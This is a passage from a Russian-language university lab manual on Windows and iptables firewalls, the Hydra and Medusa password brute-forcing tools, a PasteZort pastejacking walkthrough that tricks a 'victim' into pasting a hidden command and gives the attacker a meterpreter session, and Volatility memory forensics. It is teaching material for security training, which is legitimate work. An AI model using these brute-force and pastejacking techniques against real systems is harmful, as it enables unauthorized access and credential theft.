6. После этого выберите следующие пункты:Разрешить подключение >


отметьте галочками пункты «Доменный», «Частный», «Публичный» >
введите название и описание правила > подтвердите изменение.

Для исходящего подключения создать правило можно аналогично в разделе


«Правила для исходящих подключений».

Отключение
Отключение защитной утилиты может понадобиться, если она мешает работе
определенной программы, и ее добавление в исключения не помогает. Также
защитник Windows лучше отключить, если вы установили на компьютер
другой файервол.

В Панели управления

1. Панель управления > Брандмауэр > Включение и отключение брандмауэра


Windows
2. Переместите переключатель на пунктах «Параметры для частной сети» и
«Параметры для общественной сети» в положение «Отключить брандмауэр
Windows (не рекомендуется)».

Рисунок 7 Отключение Брандмауэра

С помощью Служб
Введите в окне «Выполнить» команду: services.msc.

1. Окно «Службы» > «Брандмауэр Windows» > ПКМ > Свойства.


2. Окно «Свойства: Брандмауэра Windows» > Тип запуска – «Отключена» >
нажать кнопку «Остановить».

3. Подтвердите изменения и перезагрузите компьютер.

Задание
✔ Ознакомиться с Брандмауэром OC Windows;
✔ Настроить Брандмауэр своей системы;
✔ Просмотреть все вкладки Брандмауэра.

Контрольные вопросы
✔ Для чего предназначен Брандмауэр Windows?
✔ Для чего добавляются исключения в защитнике Windows?
✔ Какие правила можно создавать в Брандмауэр Windows?
Лабораторная работа №6. Настройка Linux-файрвола iptables

Цель работы – получение навыков использования Linux-файрвола


iptables.

Iptables — утилита командной строки, является стандартным


интерфейсом управления работой межсетевого экрана (брандмауэра)
Netfilter для ядер Linux, начиная с версии 2.4. С её помощью
администраторы создают и изменяют правила, управляющие фильтрацией и
перенаправлением пакетов. Для работы с семейством протоколов IPv6
существует отдельная версия утилиты — Ip6tables. Для использования
утилиты Iptables требуются привилегии суперпользователя (root).

Netfilter — межсетевой экран (брандмауэр), встроен в ядро Linux с


версии 2.4.

Основные понятия

 Ключевыми понятиями iptables являются:

1. Правило — состоит из критерия, действия и счетчика. Если


пакет соответствует критерию, к нему применяется действие, и он
учитывается счетчиком. Критерия может и не быть — тогда неявно
предполагается критерий «все пакеты». Указывать действие тоже не
обязательно — в отсутствие действия правило будет работать только как
счетчик. Правила для каждой цепочки срабатывают в порядке их следования,
поэтому порядок важен.
a. Критерий — логическое выражение, анализирующее свойства пакета
и/или соединения и определяющее, подпадает ли данный конкретный
пакет под действие текущего правила. Критерии соединяются
логическим «И».
b. Действие — описание действия, которое нужно проделать с пакетом
и/или соединением в том случае, если они подпадают под действие
этого правила. О действиях более подробно будет рассказано ниже.
c. Счетчик — компонент правила, обеспечивающий учет количества
пакетов, которые попали под критерий данного правила. Также счетчик
учитывает суммарный объем таких пакетов в байтах.
2. Цепочка — упорядоченная последовательность правил. Цепочки
можно разделить на пользовательские и базовые.
a) Базовая цепочка — цепочка, создаваемая по умолчанию при
инициализации таблицы. Каждый пакет, в зависимости от того,
предназначен ли он самому хосту, сгенерирован им или является
транзитным, должен пройти положенный ему набор базовых цепочек
различных таблиц. Кроме того, базовая цепочка отличается от
пользовательской наличием «действия по умолчанию» (default policy).
Это действие применяется к тем пакетам, которые не были обработаны
другими правилами этой цепочки и вызванных из нее цепочек. Имена
базовых цепочек всегда записываются в верхнем регистре
(PREROUTING, INPUT, FORWARD, OUTPUT, POSTROUTING).
b) Пользовательская цепочка — цепочка, созданная пользователем.
Может использоваться только в пределах своей таблицы.
Рекомендуется не использовать для таких цепочек имена в верхнем
регистре, чтобы избежать путаницы с базовыми цепочками и
встроенными действиями.
3. Таблица — совокупность базовых и пользовательских цепочек,
объединенных общим функциональным назначением. Имена таблиц (как и
модулей критериев) записываются в нижнем регистре, так как в принципе не
могут конфликтовать с именами пользовательских цепочек. При вызове
команды iptables таблица указывается в формате -t имя_таблицы. При
отсутствии явного указания, используется таблица filter.

Архитектура
В системе netfilter, пакеты пропускаются через цепочки. Цепочка является
упорядоченным списком правил, а каждое правило может содержать
критерии и действие или переход. Когда пакет проходит через цепочку,
система netfilter по очереди проверяет, соответствует ли пакет всем
критериям очередного правила, и если так, то выполняет действие (если
критериев в правиле нет, то действие выполняется для всех пакетов
проходящих через правило). Вариантов возможных критериев очень много.
Например, пакет соответствует критерию –source 192.168.1.1 если в
заголовке пакета указано, что отправитель — 192.168.1.1. Самый простой тип
перехода, –jump, просто пересылает пакет в начало другой цепочки. Также
при помощи –jump можно указать действие. Стандартные действия
доступные во всех цепочках — ACCEPT (пропустить), DROP (удалить),
QUEUE (передать на анализ внешней программе), и RETURN (вернуть на
анализ в предыдущую цепочку). Например, команды

iptables -A INPUT --source 192.168.1.1 --jump ACCEPT


iptables -A INPUT --jump other_chain

означают «добавить к концу цепочки INPUT следующие правила: пропустить


пакеты из 192.168.1.1, а всё, что останется — отправить на анализ в цепочку
other_chain».

Цепочки

Существует 5 типов стандартных цепочек, встроенных в систему:


● PREROUTING — для изначальной обработки входящих пакетов.
● INPUT — для входящих пакетов адресованных непосредственно
локальному процессу (клиенту или серверу).
● FORWARD — для входящих пакетов перенаправленных на выход
(заметьте, что перенаправляемые пакеты проходят сначала цепь
PREROUTING, затем FORWARD и POSTROUTING).
● OUTPUT — для пакетов генерируемых локальными процессами.
● POSTROUTING — для окончательной обработки исходящих пакетов.

Также можно создавать и уничтожать собственные цепочки при помощи


утилиты iptables.

Таблицы

Цепочки организованны в 4 таблицы:


● raw — просматривается до передачи пакета системе определения
состояний. Используется редко, например для маркировки пакетов,
которые НЕ должны обрабатываться системой определения состояний.
Для этого в правиле указывается действие NOTRACK. Содержит
цепочки PREROUTING и OUTPUT.
● mangle — содержит правила модификации (обычно заголовка) IP‐
пакетов. Среди прочего, поддерживает действия TTL (Time to live),
TOS (Type of Service), и MARK (для изменения полей TTL и TOS, и для
изменения маркеров пакета). Редко необходима и может быть опасна.
Содержит все пять стандартных цепочек.
● nat — просматривает только пакеты, создающие новое соединение
(согласно системе определения состояний). Поддерживает действия
DNAT, SNAT, MASQUERADE, REDIRECT. Содержит цепочки
PREROUTING, OUTPUT, и POSTROUTING.
● filter — основная таблица, используется по умолчанию если название
таблицы не указано. Содержит цепочки INPUT, FORWARD, и
OUTPUT.

Цепочки с одинаковым названием, но в разных таблицах — совершенно


независимые объекты. Например, raw PREROUTING и mangle PREROUTING
обычно содержат разный набор правил; пакеты сначала проходят через
цепочку raw PREROUTING, а потом через mangle PREROUTING.

Состояния
В системе netfilter, каждый пакет проходящий через механизм определения
состояний, может иметь одно из четырёх возможных состояний:
● NEW — пакет открывает новый сеанс. Классический пример — пакет
TCP с флагом SYN.
● ESTABLISHED — пакет является частью уже существующего сеанса.
● RELATED — пакет открывает новый сеанс, связанный с уже открытым
сеансом. Например, во время сеанса пассивного FTP, клиент
подсоединяется к порту 21 сервера, сервер сообщает клиенту номер
второго, случайно выбранного порта, после чего клиент
подсоединяется ко второму порту для передачи файлов. В этом случае
второй сеанс (передача файлов по второму порту) связан с уже
существующим сеансом (изначальное подсоединение к порту 21).
● INVALID — все прочие пакеты.

Чтобы удалить все правила из iptables, введите следующую


команду:

● sudo iptables -F

Если вы хотите удалить только цепочку INPUT или любую другую цепочку,
используйте следующие команды:

● sudo iptables -F INPUT


● sudo iptables -F OUTPUT
● sudo iptables -F FORWARD

Вывод уже сконфигурированных правил iptables:

● iptables –L

Сохранение изменений

Внесенные в цепочки правил изменения пропадут при перезапуске iptables,


так что их нужно сохранить с помощью специальной команды. В
зависимости от используемого Linux-дистрибутива команда может выглядеть
по-разному.

Ubuntu:

● sudo /sbin/iptables-save

Red Hat / CentOS:

● =/sbin/service iptables save

Или

● =/etc/init.d/iptables save

Задание
✔ Установить IPtables (sudo apt-get install iptables);
✔ Настроить IPtables провести действия с соединениями (Accept,
Drop, Reject);
✔ Разрешить/запретить на подключение по портам tcp, ssh и др
(продемонстрировать);
✔ Разрешить/запретить на подключение по IP-адресам
(продемонстрировать);
✔ Блокирование портов (продемонстрировать);
✔ Блокировка сканирования порта используя iptables
(продемонстрировать);
✔ Написать отчет по проделанной работе.
Контрольные вопросы

✔ Что такое iptables?


✔ Что такое правило, цепочка и счетчик?
✔ Какие состояния соединений бывают?
✔ Что такое Netfilter?
✔ Какие действия соединений имеются в iptables?
Лабораторная работа №7. Ознакомление с утилитами brute-force атаки
ОС Kali Linux Hydra, Medusa
Описание Medusa
Medusa — это быстрый, параллельный и модульный брут-форсер входа. Цель
заключается в поддержке такого количество служб, на которых возможна
удалённая аутентификация. Ключевыми особенностями этого приложения
являются:

● Параллельное тестирование, основанное на потоках. Атака грубой


силой может быть выполнена одновременно в отношении нескольких
хостов, пользователей или паролей.
● Гибкий пользовательский ввод. Целевая информация
(хост/пользователь/пароль) могут быть указаны разнообразными
способами. Например, любой пункт может быть как единичной записью,
так и файлом, содержащим множество записей. Кроме того,
комбинированный формат файла позволяет пользователю уточнить их
целевой список.
● Модульный дизайн. Модуль каждой службы размещён в независимом
файле .mod. Это означает, что не требуется изменение ядра приложения
для расширения списка поддерживаемых служб для брут-форсинга.
● Поддержка множества протоколов. В настоящее время
поддерживаются многие службы (например, среди прочих это SMB,
HTTP, POP3, MS-SQL, SSHv2).
Использование:

Medusa [-h хост|-H файл] [-u имя_пользователя|-U файл] [-p пароль|-P файл] [-
C файл] -M модуль [OPT]

-h [ТЕКСТ]   : Имя хоста или IP адрес цели


-H [ФАЙЛ]    : Файл, содержащий целевые имена хостов или
IP адреса
-u [ТЕКСТ]   : Имя пользователя для тестирования
-U [ФАЙЛ]    : Файл, содержащий имена пользователей для
тестирования
-p [ТЕКСТ]   : Пароль для тестирования
-P [ФАЙЛ]    : Файл, содержащий пароль для тестирования
-C [ФАЙЛ]    : Файл, содержащий комбинированные записи.
Подробности смотрите ниже.
-O [ФАЙЛ]    : Файл, в который добавляются записи журнала
(логи)
-e [n/s/ns]  : Дополнительные проверки паролей ([n] Без
пароля, [s] Пароль = Имя Пользователя)
-M [ТЕКСТ]   : Имя модуля для выполнения (без
расширения .mod)
-m [ТЕКСТ]   : Параметры для передачи модулю. Эту опцию
можно использовать несколько раз
              каждый раз с разными параметрами и они будут отправлены модулю
(пример,
               -m Param1 -m Param2 и т.д..)
-d           : Вывести все известные модули
-n [ЧИСЛО]     : Использовать для TCP портов не по
умолчанию
-s           : Включить SSL
-g [ЧИСЛО]   : Сдаться после попытки подключиться ЧИСЛО
секунд (о умолчанию 3)
-r [ЧИСЛО]   : Засыпать на ЧИСЛО секунд между повтором
попыток (по умолчанию 3)
-R [ЧИСЛО]   : Пытаться ЧИСЛО раз перед прекращением.
Общее число попыток будет ЧИСЛО + 1.
-c [ЧИСЛО]   : Время ожидания в микросекундах
верификации доступности сокета (по умолчанию 500 микросекунд).
-t [ЧИСЛО]   : Общее число логинов для одновременного
тестирования
-T [ЧИСЛО]   : Общее число хостов для одновременного
тестирования
-L           : Распараллеливание входов используя одно имя пользователя на
поток. По умолчанию
               обрабатывать всё имя пользователя перед переходом к следующему.
-f           : Остановить сканирования хоста после первого найденного
действительного имени пользователя/пароля.
-F           : Остановить аудит после первого найденного действительного
имени пользователя/пароля на любом хосте.
-b           : Не выводить начальный баннер
-q           : Показать информацию об использовании модуля
-v [ЧИСЛО]   : Уровень вербальности [0 - 6 (больше)]
-w [ЧИСЛО]   : Уровень отладки ошибок [0 - 10 (больше)]
-V           : Показать версию
-Z [ТЕКСТ]   : Возобновить сканирование, основанное на
карте возобновления предыдущего сканирования
Medusa [-h хост|-H файл] [-u имя_пользователя|-U файл] [-p пароль|-P файл] [-
C файл] -M модуль [OPT]
Руководство по Medusa

-h [ЦЕЛЬ]
Имя хоста или IP адрес сети.

-H [ФАЙЛ]
Считывает заданные цели из файла, а не из командной строки. Файл
должен содержать список, разделённый новыми строками.

-u [ЦЕЛЬ]
Целевое имя пользователя

-U [ФАЙЛ]
Считывать целевые имена пользователя из указанного файла, а не из
командной строки. Файл должен содержать список, разделённый
новыми строками.

-p [ЦЕЛЬ]
Целевой пароли.

-P [ФАЙЛ]
Считывать целевые пароли из указанного файла, а не из командной
строки. Файл должен содержать список, разделённый новыми строками.

-C [ФАЙЛ]
Файл, содержащий комбинированные записи. Комбинированные файлы
разделены двоеточиями и имеют следующий формат:
хост:пользователь:пароль. Если какое из этих полей оставлено пустым,
соответствующая информация должна быть указана как единичное
глобальное значение или как список в файле.

В комбо файле возможные следующие комбинации: 1.) foo:bar:fud 2.)


foo:bar: 3.) foo:: 4.) :bar:fud 5.) :bar: 6.) ::fud 7.) foo::fud

Medusa может также поддерживать файлы PwDump в качестве комбо


файлов. Формат этих файлов должен быть user:id:lm:ntlm:::. Мы ищем
':::' в конце первой строки для определения, содержит ли файл вывод
PwDump.

-O [ФАЙЛ]
Файл к которому добавляет информация журнала. Medusa будет вести
журнал всех валидных учётных данных аккаунтов или которые вызвали
неизвестную ошибку. Также будет записано время запуска и остановки
аудита вместе с параметрами вызова.

-e [n/s/ns]
Дополнительные проверки пароля ([n] Без пароля, [s] Пароль =
Имя_Пользователя). Если используются обе опции, то они должны быть
указаны вместе ("-e ns"). Если вызывается только одна опция,
используйте или "-e n" или "-e s".
-M [ТЕКСТ]
Имя модуля для выполнения (без расширения .mod).

-m [ТЕКСТ]
Параметр, передаваемый модулю. Можно использовать несколько раз,
каждый раз с другим параметром, и они все будут отправлены модулю
(например, -m Param1 -m Param2 и т.д.)

-d
Показать список всех модулей.

-n [ЧИСЛО]
Использовать номер TCP порта, отличный от используемого службой по
умолчанию.

-s
Включить SSL.

-g [ЧИСЛО]
Сдаться после попыток подключения в течение ЧИСЛО секунд (по
умолчанию 3).

-r [ЧИСЛО]
Засыпать на ЧИСЛО секунд между повтором попыток (по умолчанию
3).

-R [ЧИСЛО]
Пытаться ЧИСЛО раз перед признанием неудачи. Общее число попыток
будет ЧИСЛО + 1.

-c [ЧИСЛО]
Установить количество микросекунд, ожидаемое во время теста по
установлению сетевого сокета. Некоторые службы (например, FTP,
IMAP, POP3 и SMTP) могут быть настроены на закрытие подключений
после произвольного числа неудачных попыток входа. Мы пробуем
повторно использовать установленное соединение для отправки
попыток аутентификации пока не случится отключение, в этом случае
подключение устанавливается повторно. Для завершения этого перед
аутентификацией внутри выбранных модулей, мы проверяем, жив ли
ещё сокет. По умолчанию выполняется 1 микросекундная проверка.
Может потребоваться намного большее значение. Например, 1000
микросекунд понадобилось при тестировании сервера vsftp чтобы не
возникало проблем с встроенным механизмом анти-брутфорса.

-t [ЧИСЛО]
Общее число логинов для одновременного тестирования. Следует
отметить, что приблизительно t x T потоков может быть одновременно
запущено.

-T [ЧИСЛО]
Общее количество хостов для одновременного тестирования.

-L
Параллельные логины с одним именем пользователя на поток. По
умолчанию полностью обрабатывается имя пользователя перед
продолжением.

-f
Остановить сканирования хоста после первого найденного
действительного имени_пользователя/пароля.

-F
Остановить аудит после первого найденного действительного
имени_пользователя/пароля на любом хосте.

-b
Подавить банер при запуске.

-q
Показать информацию по использованию модуля. Это следует
использовать вместе с опцией "-M". Например, "medusa -M smbnt -q".

-v [ЧИСЛО]
Уровень вербальности [0 – 6 (больше)]. Все сообщения на этом или
ниже этого уровня будут отображены. По умолчанию уровень равен 5.

Следующие сообщения показываются на уровнях вербальности: 0)


ВЫХОД ИЗ ПРИЛОЖЕНИЯ 1) СООБЩЕНИЯ БЕЗ ТЭГА 2)
СООБЩЕНИЯ ЖУРНАЛА БЕЗ ТЭГА 3) ВАЖНЫЕ СООБЩЕНИЯ 4)
АККАУНТ НАЙДЕН 5) ПРОВЕРКА АККАУНТА 6) ОБЩИЕ
СООБЩЕНИЯ

-w [ЧИСЛО]
Уровень отладки ошибок [0 – 10 (больше)]. Будут отображаться все
сообщения на указанном уровне или уровнях ниже. Значение по
умолчанию — 5.

Следующие сообщения показываются на уровнях ошибок: 0)


ФАТАЛЬНЫЕ 1) ТРЕВОГА 2) КРИТИЧНЫЕ 3) ОШИБКИ 4)
ПРЕДУПРЕЖДЕНИЯ 5) УВЕДОМЛЕНИЯ 6) ИНФОРМАЦИЯ 7)
ОТЛАДКА 8) ОТЛАДКА — АУДИТ 9) ОТЛАДКА — СЕРВЕР 10)
ОТЛАДКА — МОДУЛЬ

-V
Показать версию

-Z [ТЕКСТ]
Позволяет базовое восстановление предыдущего сканирования.
Передаваемый параметр описывает, какие хосты были завершены, какие
были частично протестированы, а какие не были начаты. Когда Medusa
получает SIG‐INT, она рассчитывает и отображает (карту
возобновления». Эта карта затем может быть указана при следующем
запуске. Например, "medusa [OPTIONS PREVIOUSLY USED] -Z
h6u1u2h8." В этом конкретном примере хосты 1-5 были завершены, хост
6 был частично выполнен (пользователь 1 был частично завершён и
пользователь 2 и далее не начинались), хост 7 был завершён и хост 8 и
далее не начинались. Medusa разберёт эту карту и пропустит хосты и
соответствующих пользователей. Если пользователь был начат, но не
был закончен, он быдут протестирован с начала соответствующего
списка паролей.

Информация о модулях Medusa

Доступные для брут-форса модули:

● afp.mod : Модуль брут-форса для AFP сессий


● cvs.mod : Модуль брут-форса для CVS сессий
● ftp.mod : Модуль брут-форса для FTP/FTPS сессий
● http.mod : Модуль брут-форса для HTTP
● imap.mod : Модуль брут-форса для IMAP сессий
● mssql.mod : Модуль брут-форса для MSSQL сессий
● mysql.mod : Модуль брут-форса для MySQL сессий
● nntp.mod : Модуль брут-форса для NNTP сессий
● pcanywhere.mod : Модуль брут-форса для PcAnywhere сессий
● pop3.mod : Модуль брут-форса для POP3 сессий
● postgres.mod : Модуль брут-форса для PostgreSQL сессий
● rdp.mod : Модуль брут-форса для RDP (Microsoft Terminal Server)
сессий
● rexec.mod : Модуль брут-форса для REXEC сессий
● rlogin.mod : Модуль брут-форса для RLOGIN сессий
● rsh.mod : Модуль брут-форса для RSH сессий
● smbnt.mod : Модуль брут-форса для SMB (LM/NTLM/LMv2/NTLMv2)
сессий
● smtp-vrfy.mod : Brute force module for verifying SMTP аккаунтов
(VRFY/EXPN/RCPT TO)
● smtp.mod : Модуль брут-форса для SMTP аутентификации с TLS
● snmp.mod : Модуль брут-форса для общих строк (Community Strings)
SNMP
● ssh.mod : Модуль брут-форса для SSH v2 сессий
● svn.mod : Модуль брут-форса для Subversion сессий
● telnet.mod : Модуль брут-форса для telnet сессий
● vmauthd.mod : Модуль брут-форса для демона аутентификации
VMware
● vnc.mod : Модуль брут-форса для VNC сессий
● web-form.mod : Модуль брут-форса для веб-форм
● wrapper.mod : Модуль универсальной обёртки
Hydra

Oписание Hydra
Программа hydra поддерживает огромное количество служб, благодаря своей
быстроте и надёжности она завоевала заслуженную признательность среди
тестеров на проникновение. 

Программа прекрасно компилируется и работает на Linux, Windows/Cygwin,


Solaris, FreeBSD/OpenBSD, QNX (Blackberry 10) и OSX. 

В настоящее время поддерживаются следующие протоколы: Asterisk, AFP,


Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET,
HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY,
HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD,
HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP,
NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3,
POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP
Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion,
Teamspeak (TS2), Telnet, VMware-Auth, VNC и XMPP.

Использование:
hydra -l user -P passlist.txt ftp://192.168.0.1
Опции:

-R        восстановить предыдущую прерванную/оборванную сессию


-S        выполнить SSL соединение
-s ПОРТ   если служба не на порту по умолчанию, то можно задать порт здесь
-l ЛОГИН или -L ФАЙЛ с ЛОГИНАМИ (именами), или загрузить
несколько логинов из ФАЙЛА
-p ПАРОЛЬ  или -P ФАЙЛ с паролями для перебора, или загрузить
несколько паролей из ФАЙЛА
-x МИНИМУМ:МАКСИМУМ:НАБОР_СИМВОЛОВ  генерация
паролей для брутфорса, наберите "-x -h" для помощи
-e nsr    "n" — пробовать с пустым паролем, "s" — логин в качестве пароля
и/или "r" — реверс учётных данных
-u        зацикливаться на пользователя, а не на паролях (эффективно!
подразумевается с использованием опции -x)
-C ФАЙЛ   формат где "логин:пароль" разделены двоеточиями,
вместо опции -L/-P
-M ФАЙЛ   список серверов для атак, одна запись на строку, после
двоеточия ':' можно задать порт
-o ФАЙЛ   записывать найденные пары логин/пароль в ФАЙЛ
вместо стандартного вывода
-f / -F   выйти, когда пара логин/пароль подобрана (-M: -f для хоста, -F
глобально)
-t ЗАДАЧИ  количество запущенных параллельно ЗАДАЧ (на хост,
по умолчанию: 16)
-w / -W ВРЕМЯ  время ожидания ответов (32 секунды) / между соединениями
на поток
-4 / -6   предпочитать IPv4 (по умолчанию) или IPv6 адреса
-v / -V / -d  вербальный режим / показывать логин+пароль для каждой
попытки / режим отладки
-O        использовать старые SSL v2 и v3
-q        не печатать сообщения об ошибках соединения
-U        подробные сведения об использовании модуля

xHydra (графический интерфейс для THC-Hydra)


Скриншоты Hydra
Список источников и литературы
1. https://kali.tools/?p=1847 Инструменты Kali Linux Hydra
2. https://kali.tools/?p=1886 Инструменты Kali Linux Medusa
Лабораторная работа №8. Р Получение доступа к целевому
ПК(meterpeter) – PasteZort
Цель лабораторной работы: Ознакомится с видом атак Pastejacking,
научится работать на инструменте PasteZort.
Задачи: Ознакомится с руководством, выполнить пошагово все инструкции,
написать отчет.
Этот метод заключается в том, что жертва атаки копирует (Ctrl+C) с
нашего ресурса, инструкции/команды для командной строки, которые с
виду легитимны, но на самом деле в буфер обмена, с ними попадает
вредоносный код. Целью является получение сессии meterpreter, этим и
займемся.

В качестве основного инструмента мы будем использовать PasteZort.

В качестве атакующей системы: Kali Linux 2018.3.

Целевая система: Windows 8.1. Last Update.

Рабочая среда: Локальная сеть, интернет.

Для начала, необходимо получить PasteZort, скачиваем его со страницы


разработчиков на Github.

git clone https://github.com/Zettahack/PasteZort [2]

Рис.1 Установка PasteZort


cd /PasteZort
ls –a
chmod +x PasteZort.py
Рис.2 Конфигурирование
Затем, необходимо, файлу encode.rb в директории PasteZort разрешить
выполнение:

Рис.3 Разрешение на выполнение


Теперь, все готово к запуску, но нужно немного поработать, для
получения результата. Дело в том, что PasteZort генерирует html файл с
вредоносным содержимым, и когда цель перейдет на наш ресурс, если все
оставить по умолчанию, она может что-то заподозрить:
Рис.4 Размещение на сервере
Запускаем Apache2 Server предустановленный на Kali Linux с помощью
команды
service apache2 start
Запускаем PasteZort и формируем полезную нагрузку:

./PasteZort

Рис.5 Формирование полезной нагрузки


И запускаем handler Metasploit:
Рис.6 Ожидание подключения
Копируем команду, предложенную сайтом, открываем CMD на целевом
хосте и вставляем ее внутрь:

Рис.7 Целевая машина


Нажимать ничего не нужно, команда выполнится скрытно, CMD
закроется, а на атакующем хосте, откроется активная сессия meterpreter.
Рис.8 Доступ к целевой машине
Все машина взломана, далее с помощью команды help, можете узнать все
возможности meterpreter.

Список источников и литературы


1.http://www.thewindowsclub.com/what-is-pastejacking
2. https://github.com/ZettaHack/PasteZort 
Лабораторная работа №9. AUMFOR – автоматический анализ памяти
Цель работы - Научится создавать и анализировать дамп памяти, а
также освоить программу для автоматического анализа памяти Volatility.
Введение
Volatility - полностью открытый набор инструментов для извлечения
цифровых данных из выборок энергозависимой памяти (ОЗУ). Это полезно
при анализе судебной экспертизы. Методы извлечения выполняются
полностью независимо от исследуемой системы, но обеспечивают
беспрецедентную видимость состояния системы во время работы. [8]
Volatility поддерживает дампы памяти из всех основных 32- и 64-
разрядных версий Windows и пакетов обновления.[14]
Дамп памяти - это копия содержимого оперативной памяти,
находящаяся на жёстком диске или другом энергонезависимом устройстве
памяти. Естественно, дампом может быть не вся оперативная память, а
только какая-то определённая её часть, которая, так сказать, интересует в
данный момент ту программу, которая делает этот дамп.[6]
Дамп памяти, как правило, создаётся при различных сбоях в
программном обеспечении (например, в операционной системе),
приводящих к его краху, но ещё позволяющих запустить ту часть
программы, которая предназначена для сбора информации о причине сбоя.
Собственно, самая существенная область применения дампов памяти как
раз и состоит в сборе информации о причинах фатальных для программного
обеспечения сбоев в его собственной работе.[6]
Ход работы
Для выполнения лабораторной работы скачайте и установите:
VirtualBox https://www.virtualbox.org/wiki/Downloads
WindowsXP https://windowsobraz.com/windows-xp-x64-skachat-
torrent/originalnye-obrazy-xp/14-skachat-windows-xp-sp3-originalnyy-obraz-
aktivator.html или с других источников.
1.Чтобы создать дамп памяти, правой кнопкой мыши нажать на значок
«Мой компьютер» и выбрать Properties (или комбинацию клавиш
Win+Pause). (Рис 1)

Рис 1 Свойства «Мой компьютер».


2. Сначала назначить размер дампа. Для этого надо перейти во вкладку
Advanced, в поле Performance нажать кнопку Settings. (Рис 2)
Рис 2 Переход во вкладку «Advanced».
3.В поле Virtual memory выбрать кнопку Change. (Рис 3)

Рис 3 Переход во вкладку «Virtual memory».


4. Затем выбрать пункт System manage size, для того, чтобы система
сама выбирала размер дампа. Если выбрать не правильный размер дампа, то
он не сможет создаться. Нажать кнопку Set, для сохранения введенных
параметров. Затем нажать OK. (Рис 4)

Рис 4 Системное назначение размера дампа памяти.


5. Вернуться во вкладку Advanced. В поле Startup and Recovery нажать
кнопку Settings. (Рис 5)
Рис 5 Переход во вкладку «Startup and Recovery»
6. В поле Write debugging information выбрать Complete memory dump.
Проделав все манипуляции, после каждого BSoD в папке C:\WINDOWS\
будет сохраняться файл с расширением .dmp или .raw(рекомендуем). Также
можно установить галочку на «Overwrite any existing file». В этом случае
каждый новый аварийный дамп будет записываться поверх старого. Далее
нажать OK. (Рис 6)
Рис 6 Создание дампа памяти.
7. Дамп памяти создается только при фатальных ошибках, для этого мы
нашли программу NotMyFault, с помощью которой мы вызываем синий
экран. Во время того, как происходит ошибка, выводится синий экран с
предупреждением и выводом самой ошибки, и во время открытия синего
экрана мы можем увидеть, как создается дамп, внизу будет написан отсчет.
Бесплатная утилита NotMyFault – минималистичный, узкопрофильный
инструмент, предназначенный для искусственного вызывания зависания и
сбоя работы Windows в исследовательских целях. NotMyFault – портативная
утилита, устанавливать в систему её не нужно. В распакованной папке
утилиты просто выбираем файл запуска в соответствии с разрядностью
Windows.[5]
Скачать программу NotMyFault по этой ссылке
https://docs.microsoft.com/enus/sysinternals/downloads/notmyfault
Утилита NotMyFault провоцирует появление BSOD с реальным
поведением системы в дальнейшем. А потому нельзя исключать
вероятность того, что Windows в дальнейшем может не запуститься, как это
иногда бывает в реальных условиях возникновения критического сбоя. Так
что исследовать таким образом проблемы операционных систем от
Microsoft рекомендуется на виртуальных машинах. Если проводить
эксперименты представляется возможным только на физическом
компьютере, прежде запуска утилиты необходимо позаботиться о средствах
восстановления Windows.[5]
8. Для искусственного вызова BSOD остаться на первой вкладке
«Crash». Выбрать одну из моделируемых причин синего экрана из
предлагаемого перечня и запустить провокацию сбоя кнопкой внизу
«Crash». (Рис 7) Для контролируемого вызова BSOD утилита NotMyFault
предусматривает смену цвета фона экрана и текста. Для этого нужно нажать
кнопку Colors и выбрать тот цвет, который вам нравится. (Рис 8) Если
выбрать вторую вкладку Hang with с DPC приведет к зависанию системы.
Выбрав опцию Hang with IRP или Deadlock, вы не сможете восстановить
систему без потерь.

Рис 7 Выбор причины появления синего экрана.


Рис 8 Смена цвета фона «Синего экрана смерти».
9. Далее появится «Синий экран смерти», и создание дампа памяти.
(Рис 9)

Рис 9 Появление «Синего экрана смерти» и создание дампа.


10. Далее надо скачать программу volatility-2.3.1.standalone.exe,
желательно скачать программу туда, где находится дамп памяти
https://code.google.com/archive/p/volatility/downloads
11. Далее нужно проанализировать дамп памяти, который был создан.
В возможность Volatility входят извлечение информации о: списке
запущенных процессов; списке открытых сетевых соединений; списке
загруженных динамических библиотек (DLL) для каждого процесса; именах
открытых файлов для каждого процесса; адресуемую память; открытых
записей реестра; извлечение образов процессов.[12] Поэтому сначала
требуется идентифицировать поддерживаемые «профили» для изображения
сбрасываемой памяти. Для этого надо зайти в командную строку Windows с
помощью команды Win+R и в поле ввода написать cmd, нажать OK. Далее в
открывшемся окне командной строки ввести команду идентификации
«профилей» для изображения. (Рис 10)
"C:\volatility-2.3.1.standalone.exe" imageinfo -f MEMORY.raw

Рис 10 Идентификация поддерживаемых «профилей».


Таким образом, команда «imageinfo» предлагает следующие два
профиля.
WinXPPS2x86, WinXPSP3x86
12. Ввести команду для получения списка запущенных процессов в
дампе памяти. (Рис 11)
"C:\volatility-2.3.1.standalone.exe" --profile=WinXPSP2x86 pslist -f
MEMORY.raw

Рис 11 Получение списка запущенных процессов в дампе памяти.


13. Далее просмотреть отображение процессов в формате tree (parent /
child). Это покажет связь процесса с родительским процессом. Это поможет
определить родительский процесс вредоносной программы (Рис 12). Для
этого ввести следующую команду:
"C:\volatility-2.3.1.standalone.exe" --profile=WinXPSP2x86 pstree -f
MEMORY.raw
Рис 12 Определение родительских процессов.
Как показано на приведенном выше выходе плагина «pstree» инструмента
Volatility, процессы отображаются с их идентификаторами PID и PPID.
14. Теперь вместо выделенных процессов будет использоваться плагин
«malfind» (который используется для обнаружения вредоносных DLL в
процессе). Следующая
команда с переключателем malfind используется для сброса вредоносных
DLL в «выходной» каталог (Рис 13). Для этого следующую команду для
идентификатора процесса: 416 (csrss.exe):
"C:\volatility-2.3.1.standalone.exe" --profile=WinXPSP2x86 malfind -D
D:\output/pid-416 –p 416 -f MEMORY.raw
Чтобы в каталоге сохранились DLL сначала необходимо создать папку
output и уже в ней создать папку, в которую надо будет сохранить DLL.
Рис 13 Сброс вредоносных DLL в «выходной» каталог.
В данном случае команда malfind запускает PID «416» и извлекает DLL
из процесса и сохраняет в нужной нам папке, так как этот процесс кажется
подозрительным для ОС Windows. (Рис 14).

Рис 14 Сохранение DLL.


